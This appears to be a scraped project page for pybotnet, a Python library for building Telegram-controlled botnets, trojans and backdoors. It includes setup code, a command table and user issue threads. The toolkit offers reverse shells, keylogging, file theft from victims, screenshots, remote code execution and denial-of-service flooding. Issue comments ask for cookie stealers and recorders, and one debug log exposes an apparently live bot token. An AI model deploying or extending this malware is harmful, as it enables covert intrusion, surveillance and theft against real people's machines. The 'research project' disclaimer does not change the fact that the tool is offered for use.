pybotnet - A Python Library for building Botnet , Trojan or BackDoor for windows and linux with Telegram control panel

Overview

trojan horse

pybotnet

A Python Library for building botnet , trojan or backdoor for windows and linux with Telegram control panel

Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf.

Persian document داکیومنت فارسی

Features:

  • Telegram anti-filter control panel
  • reverse shell
  • keylogger
  • extract target info
  • sleep source by Optional message
  • export file/s to target's system
  • import file/s from target's system
  • screenshot
  • Task Scheduler
  • Website Opener
  • Sound Player
  • Denial-Of-Service Attacker
  • Python Code runner

for more, see commands table at the end of this page

Requirements:

  • Python 3.6 or higher
  • Telegram account

Usage:

pip install pybotnet
from pybotnet import pybotnet
import time

# change TELEGRAM_TOKEN and  ADMIN_CHAT_ID to valid data:

# telegram api token (Get it from the telegram @botfather)
TELEGRAM_TOKEN = '1468299547:ABHs_________MzZcYxF_e00000000000'

# telegram account number ID (get it from @userinfobot)
ADMIN_CHAT_ID = '12345678910'



# * show_log:          just for debugging
# * send_system_data:  send system short info in every bot messages in telegram

bot = pybotnet.PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID,
                        show_log=True, send_system_data=True)

delay = 7

while True:
    print('*-*'*15)
    bot.get_and_execute_scripts_by_third_party_proxy()
    time.sleep(delay)

Commmands:

Send the desired command to your bot in telegram, using the admin account registered in the trojan.

to run a command on only one target, use : <Target_MAC_Address> <command> ,Example: 66619484755211 get_info

COMMAND Sample DOES THIS version tested on
get_info get_info returns system info 0.06 windows, linux
do_sleep <scconds> <message (Optional)> do_sleep 99999 hi, i see you! Sleeps with printing a message. 0.08 windows, linux
cmd <system command> cmd mkdir new_folder cmd cd .., cmd ls runs system commands in shell or cmd 0.07 windows, linux
export_file <link> export_file https://github.com/onionj/pybotnet/archive/refs/heads/master.zip file will be exported on the target machine and saved to the script path 0.14 windows, linux
import_file <file_route> import_file /home/onionj/folder/somting.png imports a file from target system (limit:5GB & 20min) 0.17.0 windows, linux
screenshot screenshot Takes a screenshot, uploads it to the online server and returns the download link 0.18.1 windows, linux
help help sends help menu 0.18.5 windows, linux
/start /start runs help command !! 0.18.7 windows, linux
<MAC_Address> reverse_shell or reverse_shell 66619484755211 reverse_shell and exit for exit! starst reverse shell on the target machine 0.20.1 windows, linux
keylogger keylogger start and keylogger stop to stop the keylogger Starts a keylogger on victim's system. keylogger can't handle persian words very correctly 0.21.1 windows, linux
scheduler scheduler start ,stop , list Adds a schedule to be run each n second 0.25.3 windows, linux
playsound playsound <sound-name> Will play a sound. Playsound can only play MP3 or WAV Files. 0.25.3 windows, linux
openurl openurl <url> <how-many-times> Will open a url n times. 0.25.3 windows, linux
dos dos <attack-type [GETFlood-ACKFlood]> <target-ip> <target-port> <thread-number> <payload-size> Will run Denial-Of-Service Attack. 1.0.0 windows
runcode runcode <code> Will run python code, The code should be written in a seperate line with correct python syntax, Because of python limitations , The function can't return the results. 1.0.0 windows, Linux

If you like this repo and find it useful, please consider ★ starring it (on top right of the page) and forking it :)

TODO List

Sample GUI Trojan created by pybotnet: VINET

Infected Game With PyBotNet: Infected Game With PyBotNet

Contributors

Thanks goes to these wonderful people :


oNion


TorhamDev


SepehrRasouli

Comments
  • ImportError

    ImportError

    Hi, onionj. When I imported pybotnet and ran the code I got this error. ImportError: cannot import name 'util' from partially initialized module 'pybotnet' (most likely due to a circular import) Would you help me, please?

    bug help wanted 
    opened by Ali-Imangholi 13
  • I have a problem running the file main.py

    I have a problem running the file main.py

    Traceback (most recent call last): File "/data/data/com.termux/files/home/pybotnet/pybotnet/main.py", line 3, in from . import * ImportError: attempted relative import with no known parent package

    opened by pbthong 6
  • Develop botnet

    Develop botnet

    Hi my friend, this project is great, but its options are few, I am waiting for amazing updates and adding options for keylogger, screenshot, download, upload, etc. Please develop the botnet.

    opened by alix1011 6
  • Xlib.error.DisplayNameError: Bad display name

    Xlib.error.DisplayNameError: Bad display name ""

    first, i like this botnet.. is good because using telegram . .. but i got this error :

    Traceback (most recent call last): File "/usr/local/lib/python3.7/runpy.py", line 183, in _run_module_as_main mod_name, mod_spec, code = _get_module_details(mod_name, _Error) File "/usr/local/lib/python3.7/runpy.py", line 142, in _get_module_details return _get_module_details(pkg_main_name, error) File "/usr/local/lib/python3.7/runpy.py", line 109, in _get_module_details import(pkg_name) File "/usr/local/lib/python3.7/site-packages/pybotnet/init.py", line 1, in from .pybotnet import PyBotNet File "/usr/local/lib/python3.7/site-packages/pybotnet/pybotnet.py", line 2, in from . import util File "/usr/local/lib/python3.7/site-packages/pybotnet/util.py", line 20, in from pynput import keyboard File "/usr/local/lib/python3.7/site-packages/pynput/init.py", line 40, in from . import keyboard File "/usr/local/lib/python3.7/site-packages/pynput/keyboard/init.py", line 52, in from ._xorg import KeyCode, Key, Controller, Listener File "/usr/local/lib/python3.7/site-packages/pynput/keyboard/_xorg.py", line 39, in from pynput._util.xorg import ( File "/usr/local/lib/python3.7/site-packages/pynput/_util/xorg.py", line 40, in _check() File "/usr/local/lib/python3.7/site-packages/pynput/_util/xorg.py", line 38, in _check display = Xlib.display.Display() File "/usr/local/lib/python3.7/site-packages/Xlib/display.py", line 89, in init self.display = _BaseDisplay(display) File "/usr/local/lib/python3.7/site-packages/Xlib/display.py", line 71, in init protocol_display.Display.init(self, *args, **keys) File "/usr/local/lib/python3.7/site-packages/Xlib/protocol/display.py", line 84, in init name, protocol, host, displayno, screenno = connect.get_display(display) File "/usr/local/lib/python3.7/site-packages/Xlib/support/connect.py", line 73, in get_display return mod.get_display(display) File "/usr/local/lib/python3.7/site-packages/Xlib/support/unix_connect.py", line 76, in get_display raise error.DisplayNameError(display) Xlib.error.DisplayNameError: Bad display name ""

    can you help ? ,

    help wanted question 
    opened by BJM15 3
  • Help me

    Help me

    Hi, I couldn't create main.py for myself, how should I add voice recorder and screen recorder to my file or add key logger or Google cookie logger? please help me

    opened by Rezahackm 3
  • Enhancment for pybotnet

    Enhancment for pybotnet

    Hello again , Onionj. Pybotnet does a great job in solving the issue of Telegram being blocked in Iran , but this app is not only intended for Iranian's so I believe that using a proxy in countries where freedom of speech is respected might not be useful so we can make it an optional choice. What are your thoughts ? SepehrRS

    wontfix 
    opened by SepehrRasouli 3
  • A question about configs.py.sample

    A question about configs.py.sample

    Hi, Onionj. I've read your Persian documentation and i noticed that you said the delay should not be less than 10. why? and why you haven't write the same for the English documentation? Because the delay in the README.MD version of configs.py.sample has a delay of 7 seconds and the delay in the original configs.py.sample code has a delay of 10 seconds. What are your thoughts ? How can we fix this ? SepehrRS.

    question 
    opened by SepehrRasouli 3
  • Added keylogger to pybotnet

    Added keylogger to pybotnet

    The keylogger command was added , and to activate it the user has to send keylogger start. the function will handle whether the keylogging system is activated already or not. If not , the function will send an error to deactivate the keylogger , the user has to send keylogger stop. the function will handle whether the keylogging system is activated or not. if not , it will send an error , otherwise , keylogging will be stopped and it will send the url to logged keys zip file. the keylogging system cannot handle Persian words very well , but all English words are handled correctly. all keys will have dates to indicate when they were recorded. all keys will be recorded in a textfile named klog.txt by default.

    opened by SepehrRasouli 3
  • error in open[SOLVED]

    error in open[SOLVED]

    hey i'm using this on windows 10, and when i place token and admin id in source and run it, i got this error

    Traceback (most recent call last):
      File "d:/My-projects/botnet_for_systems_pico_ducky/main.py", line 2, in <module>
        from pybotnet import BotNet, TelegramEngine
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\__init__.py", line 3, in <module>
        from .botnet import BotNet as BotNet
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\botnet.py", line 15, in <module>
        from .context import Context
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\context.py", line 9, in <module>
        class Context:
      File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\context.py", line 37, in Context
        def get_all_global_values(cls) -> dict[Any, Any]:
    TypeError: 'type' object is not subscriptable
    

    what should i do?

    opened by ebad84 2
  • Transfer all functions to util.py

    Transfer all functions to util.py

    Hi Onionj. As a contributor, I've a hard time trying to write new features and I can't use the pybotnet's features so I've to kinda invent the wheel again every time I want to run a command and etc. I would be very happy if you consider transferring all the useful features and their functions to util.py so the contributors wouldn't have a hard time trying to write new and useful features.

    opened by SepehrRasouli 2
  • Mybot can not receive and execute command

    Mybot can not receive and execute command

    Mybot had contacted my telegram successfully but when i type commands (/who, /help,...) the bot still can not get and execute them. Here is the log:

    DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet : DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet : DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet : DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193 DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443 DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331 DEBUG:--> pybotnet.botnet :

    My python 3.8, pybotnet>=2 What can i do now?

    help wanted question 
    opened by hanoivip 1
Releases(v2.2.2)
  • v2.2.2(Sep 3, 2022)

  • v2.2.1(Aug 16, 2022)

  • v2.2.0(Aug 5, 2022)

  • 2.1.0(Jul 2, 2022)

    Everything has changed in version 2.1.0 !

    To view the document, go to this link: https://onionj.github.io/pybotnet/

    Features:

    • Ability to easily add custom scripts
    • external scripts
    • to add custom control panel
    • in Telegram control pannel and proxy
    • in scripts like:
      • reverse shell
      • put or get file
      • run python code on target systems
      • get screenshot
      • keylogger
      • dos
      • scheduler
      • ...
    • Cross platform
    • remote control to your apps ...
    Source code(tar.gz)
    Source code(zip)
  • 2.0.9b0(Jun 27, 2022)

    Everything has changed in version 2 !

    To view the document, go to this link: https://onionj.github.io/pybotnet/

    Features:

    • Ability to easily add custom scripts
    • Import external scripts
    • Ability to add custom control panel
    • Built in Telegram control pannel and proxy
    • Built in scripts like:
      • reverse shell
      • put or get file
      • run python code on target systems
      • get screenshot
      • keylogger
      • dos
      • scheduler
      • ...
    • Cross platform
    • Add remote control to your apps
    • ...
    Source code(tar.gz)
    Source code(zip)
  • v1.0.5(May 31, 2022)

  • v1.0.4(Nov 29, 2021)

    https://github.com/onionj/pybotnet/pull/21#issue-1065277047

     @SepehrRasouli:
    runcode command had a problem like cmd command , which it would run forever non-stop , so I fixed it with the same solution i used for the cmd command.
    I also edited some minor things and tested the code , and the code worked properly.
    Please change the version.
    If you encountered any problem , contact me.
    
    Source code(tar.gz)
    Source code(zip)
  • v1.0.3(Oct 14, 2021)

    Features:

    • Telegram anti-filter control panel
    • reverse shell
    • keylogger
    • extract target info
    • sleep source by Optional message
    • export file/s to target's system
    • import file/s from target's system
    • screenshot
    • Task Scheduler
    • Website Opener
    • Sound Player
    • Denial-Of-Service Attacker
    • Python Code runner
    Source code(tar.gz)
    Source code(zip)
  • v1.0.1(Oct 12, 2021)

    Features:

    • Telegram anti-filter control panel
    • reverse shell
    • keylogger
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    • Task Scheduler
    • Open Website
    • Play Sound
    • Denial-Of-Service Attack
    • Run python code
    Source code(tar.gz)
    Source code(zip)
  • v0.25.3(Oct 5, 2021)

    Features

    • Telegram anti-filter control panel
    • reverse shell
    • keylogger
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    • Task Scheduler
    • Open Website
    • Play Sound
    Source code(tar.gz)
    Source code(zip)
  • v0.21.3(Sep 21, 2021)

    Features:

    • Telegram anti-filter control panel
    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • reverse shell
    • keylogger
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    Source code(tar.gz)
    Source code(zip)
  • v0.20.8(Sep 18, 2021)

    trojan horse

    pybotnet

    A Python Library for building botnet , trojan or backdoor for windows and linux with Telegram control panel

    Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf.

    Persian document داکیومنت فارسی

    Features:

    • Telegram anti-filter control panel
    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • reverse shell
    • get target info
    • sleep source by Optional message
    • export file to targets system
    • import file from target system
    • get screenshot
    Source code(tar.gz)
    Source code(zip)
  • v0.18.7(Jul 28, 2021)

    new:

    • add help and /start command

    Features:

    • Telegram anti-filter control panel
    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • get target info
    • sleep source by Optional message
    • get ls (dirctory list)
    • export file to targets system
    • import file from target system
    • get screenshot
    Source code(tar.gz)
    Source code(zip)
  • v0.18.6(Jul 24, 2021)

  • v0.18.5(Jul 22, 2021)

  • v0.18.1(Jul 22, 2021)

    Features:

    get command from telegram and execute scripts
    get command and send message by third party proxy
    get target info
    sleep source by Optional message
    get ls (dirctory list)
    export file to targets system
    import file from target system
    + get screenshot
    
    Source code(tar.gz)
    Source code(zip)
  • v0.17.0(Jul 17, 2021)

    Features:

    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • get target info
    • sleep source by Optional message
    • get ls (dirctory list)
    • export file to targets system
    • import file from target system
    Source code(tar.gz)
    Source code(zip)
  • v0.15.5(Jul 3, 2021)

    Features:

    • get command from telegram and execute scripts
    • get command and send message by third party proxy
    • get target info
    • sleep source by Optional message
    • get ls (dirctory list)
    • export file to targets system (target download a link :) )
    • for more see commands table end of this page
    Source code(tar.gz)
    Source code(zip)
Owner
:) -> Geek
</oNion
JumpServer远程代码执行漏洞检测利用脚本

Jumpserver-EXP JumpServer远程代码执行漏洞检测利用脚本

Veraxy 181 Dec 20, 2022
Password database With special stuff

This is a Password database I made for myself, as I want to keep all my passwords in the same place. but still protected, shall anyone get access to the file. And so I made this simple password datab

9 Oct 30, 2022
OpenTOTP is yet another time-based, one-time passwords (OTPs) generator/verifier inspired by RFC 6238.

OpenTOTP is yet another time-based, one-time passwords (OTPs) generator/verifier inspired by RFC 6238. It generates and validates OTPs based

1 Nov 15, 2021
Brute smb share - Brute force a SMB share

brute_smb_share I wrote this small PoC after bumping into SMB servers where Hydr

devloop 3 Feb 21, 2022
Vulnerability Exploitation Code Collection Repository

Introduction expbox is an exploit code collection repository List CVE-2021-41349 Exchange XSS PoC = Exchange 2013 update 23 = Exchange 2016 update 2

0x0021h 263 Feb 14, 2022
Proof of concept for CVE-2021-31166, a remote HTTP.sys use-after-free triggered remotely.

CVE-2021-31166: HTTP Protocol Stack Remote Code Execution Vulnerability This is a proof of concept for CVE-2021-31166 ("HTTP Protocol Stack Remote Cod

Axel Souchet 820 Dec 18, 2022
Simple script for looping a Denial Of Service (DoS) attack over one single mac address in range

Bluetooth Simple Denial Of Service (DoS) Legal Note This project is made only for educational purposes and for helping in Proofs of Concept. The autho

1 Jan 09, 2022
A hack for writing switch statements with type annotations in Python.

py_annotation_switch A hack for writing switch statements in type annotations for Python. Why should I use this? You most definitely should not use th

6 Oct 17, 2021
这次是可可萝病毒!

可可萝病毒! 事情是这样的,我又开始不干正事了。 众所周知,在Python里,0x0等于0,但是不等于可可萝。 这很不好,我们得把它改成可可萝! 效果 一般的Python—— Python 3.8.0 (tags/v3.8.0:fa919fd, Oct 14 2019, 19:37:50) [MSC

黄巍 29 Jul 14, 2022
Generates password lists/dictionaries based on keywords written in python3.

dicbyru Introduction Generates password lists/dictionaries based on keywords. It uses the keywords and adds capital letters, numbers and special chara

ru55o 2 Oct 31, 2022
adb - A tool that allows you to search for vulnerable android devices across the world and exploit them.

adb - An exploitation tool for android devices. A tool that allows you to search for vulnerable android devices across the world and exploit them. Fea

136 Jan 02, 2023
Proof on Concept Exploit for CVE-2021-38647 (OMIGOD)

OMIGOD Proof on Concept Exploit for CVE-2021-38647 (OMIGOD) For background information and context, read the our blog post detailing this vulnerabilit

Horizon 3 AI Inc 231 Nov 12, 2022
Natas teaches the basics of serverside web-security.

over-the-wire-natas Natas teaches the basics of serverside web-security. Each level of natas consists of its own website located at http://natasX.nata

Siddhant Chouhan 1 Nov 27, 2021
Operational information regarding the vulnerability in the Log4j logging library.

Log4j Vulnerability (CVE-2021-44228) This repo contains operational information regarding the vulnerability in the Log4j logging library (CVE-2021-442

Nationaal Cyber Security Centrum (NCSC-NL) 1.9k Dec 26, 2022
Keystroke logging, often referred to as keylogging or keyboard capturing

Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording the keys struck on a keyboard, typically covertly, so that a person using the keyboard is unaware

Harsha G 2 Jan 11, 2022
🔐 A simple command-line password manager.

PassVault What Is It? It is a command-line password manager, for educational purposes, that stores localy, in AES encryption, your sensitives datas in

5 Aug 15, 2022
OpenSource Poc && Vulnerable-Target Storage Box.

reapoc OpenSource Poc && Vulnerable-Target Storage Box. We are aming to collect different normalized poc and the vulerable target to verify it. Now re

cckuailong 560 Dec 23, 2022
Scout Suite - an open source multi-cloud security-auditing tool,

Description Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. Using t

NCC Group Plc 5k Jan 05, 2023
exchange-ssrf-rce

Usage python3 .\exchange-exp.py -------------------------------------------------------------------------------- |

Jen 76 Nov 09, 2022
M.E.A.T. - Mobile Evidence Acquisition Toolkit

M.E.A.T. - Mobile Evidence Acquisition Toolkit Meet M.E.A.T! From Jack Farley - BlackStone Discovery This toolkit aims to help forensicators perform d

1 Nov 11, 2021